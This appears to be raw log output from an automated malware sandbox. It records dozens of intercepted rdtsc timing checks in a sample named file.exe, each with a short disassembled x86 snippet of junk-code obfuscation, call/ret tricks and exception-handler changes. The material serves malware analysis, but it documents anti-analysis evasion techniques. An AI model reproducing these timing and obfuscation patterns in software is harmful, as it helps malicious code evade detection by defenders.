Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD6FB second address: 3AD6FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD6FF second address: 3AD718 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513435h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD718 second address: 3AD71E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD71E second address: 3AD722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD7C5 second address: 3AD7DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD7DD second address: 3AD819 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sub dword ptr [ebp+122D1825h], ecx 0x00000012 push 00000000h 0x00000014 xor dword ptr [ebp+122D1BB5h], ebx 0x0000001a call 00007F5E68513429h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD819 second address: 3AD81F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD81F second address: 3AD824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD824 second address: 3AD82A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD82A second address: 3AD82E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CD812 second address: 3CD860 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E68E41F1Fh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F5E68E41F1Eh 0x0000000f popad 0x00000010 push ecx 0x00000011 jns 00007F5E68E41F16h 0x00000017 pushad 0x00000018 popad 0x00000019 pop ecx 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F5E68E41F29h 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CD860 second address: 3CD86A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5E6851342Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CD9B8 second address: 3CD9BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE375 second address: 3CE3A8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5E68513426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jl 00007F5E68513426h 0x00000011 je 00007F5E68513426h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5E68513439h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE3A8 second address: 3CE3AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE50F second address: 3CE520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5E68513426h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE520 second address: 3CE524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE7CA second address: 3CE7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE7CF second address: 3CE80E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F5E68E41F1Ch 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b je 00007F5E68E41F18h 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F5E68E41F1Eh 0x0000001c jmp 00007F5E68E41F23h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE80E second address: 3CE815 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE98D second address: 3CE9AF instructions: 0x00000000 rdtsc 0x00000002 je 00007F5E68E41F2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE9AF second address: 3CE9B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CF176 second address: 3CF17C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CF17C second address: 3CF185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CF185 second address: 3CF18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5E68E41F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CF18F second address: 3CF197 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396347 second address: 396354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396354 second address: 396367 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push edx 0x00000008 pushad 0x00000009 jnl 00007F5E68513426h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D5F5A second address: 3D5F79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D5F79 second address: 3D5F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F5E68513428h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A55BA second address: 3A5602 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F24h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 jmp 00007F5E68E41F1Eh 0x00000017 push edx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b jmp 00007F5E68E41F22h 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A5602 second address: 3A561E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513432h 0x00000007 js 00007F5E6851342Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DDDB3 second address: 3DDDBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5E68E41F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DDDBD second address: 3DDDDD instructions: 0x00000000 rdtsc 0x00000002 je 00007F5E68513426h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5E68513431h 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD275 second address: 3DD293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F5E68E41F16h 0x0000000d jmp 00007F5E68E41F21h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD293 second address: 3DD2AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513433h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD46B second address: 3DD47F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68E41F20h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E19F0 second address: 3E19FA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5E68513426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E206F second address: 3E2073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E216C second address: 3E2178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E2178 second address: 3E2183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5E68E41F16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E2183 second address: 3E2189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E27A1 second address: 3E27AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E27AD second address: 3E27B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F5E68513426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E2A46 second address: 3E2A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E32AD second address: 3E330F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F5E68513428h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov si, 621Fh 0x0000002a push 00000000h 0x0000002c adc si, 2C46h 0x00000031 push 00000000h 0x00000033 mov edi, dword ptr [ebp+122D1C55h] 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F5E6851342Dh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E330F second address: 3E3329 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E3329 second address: 3E3330 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4D0F second address: 3E4D19 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5E68E41F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4D19 second address: 3E4D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5E6851342Ah 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007F5E68513426h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4D33 second address: 3E4D39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4D39 second address: 3E4D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5E6851342Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4D4F second address: 3E4D5F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5E68E41F16h 0x00000008 js 00007F5E68E41F16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4D5F second address: 3E4D87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F5E68513426h 0x00000009 js 00007F5E68513426h 0x0000000f jmp 00007F5E68513434h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4D87 second address: 3E4D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E53E1 second address: 3E53E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E65B3 second address: 3E65B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E65B7 second address: 3E65D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnp 00007F5E68513426h 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jc 00007F5E68513426h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E65D2 second address: 3E65D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E65D7 second address: 3E65DC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E65DC second address: 3E6644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov edi, 4D4A3163h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F5E68E41F18h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D1D6Ch], esi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F5E68E41F18h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000019h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b sub dword ptr [ebp+122D1D6Ch], esi 0x00000051 push eax 0x00000052 pushad 0x00000053 pushad 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E6644 second address: 3E664C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E7B1E second address: 3E7B36 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F5E68E41F16h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jc 00007F5E68E41F20h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E9AE0 second address: 3E9AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5E68513426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E9AEA second address: 3E9B10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5E68E41F20h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC716 second address: 3EC71A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC71A second address: 3EC720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC720 second address: 3EC73E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F5E68513426h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5E6851342Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC73E second address: 3EC74C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F5E68E41F16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC891 second address: 3EC89B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ED883 second address: 3ED891 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EC89B second address: 3EC89F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EE8DF second address: 3EE8E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ED891 second address: 3ED89C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F5E68513426h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EF6CE second address: 3EF6DC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F5E68E41F16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EE8E3 second address: 3EE96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F5E68513428h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D1B8Fh] 0x0000002a push dword ptr fs:[00000000h] 0x00000031 mov edi, dword ptr [ebp+122D35DEh] 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e jmp 00007F5E6851342Fh 0x00000043 mov eax, dword ptr [ebp+122D02B5h] 0x00000049 mov dword ptr [ebp+122D2142h], ecx 0x0000004f push FFFFFFFFh 0x00000051 push 00000000h 0x00000053 push esi 0x00000054 call 00007F5E68513428h 0x00000059 pop esi 0x0000005a mov dword ptr [esp+04h], esi 0x0000005e add dword ptr [esp+04h], 0000001Ah 0x00000066 inc esi 0x00000067 push esi 0x00000068 ret 0x00000069 pop esi 0x0000006a ret 0x0000006b nop 0x0000006c push edi 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EE96F second address: 3EE992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68E41F1Eh 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5E68E41F1Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F408B second address: 3F40AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E6851342Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5E68513430h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F40AF second address: 3F40FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F5E68E41F16h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f sub dword ptr [ebp+122D1DDAh], eax 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F5E68E41F18h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov edi, 77A710A4h 0x00000036 push 00000000h 0x00000038 mov edi, ecx 0x0000003a add edi, dword ptr [ebp+12481F3Dh] 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F40FD second address: 3F4102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F62A8 second address: 3F6317 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F5E68E41F18h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 mov dword ptr [ebp+12461EF0h], ecx 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F5E68E41F18h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 mov ebx, dword ptr [ebp+1247E9FEh] 0x0000004a push 00000000h 0x0000004c mov dword ptr [ebp+1247949Fh], esi 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F5E68E41F23h 0x0000005a rdtsc
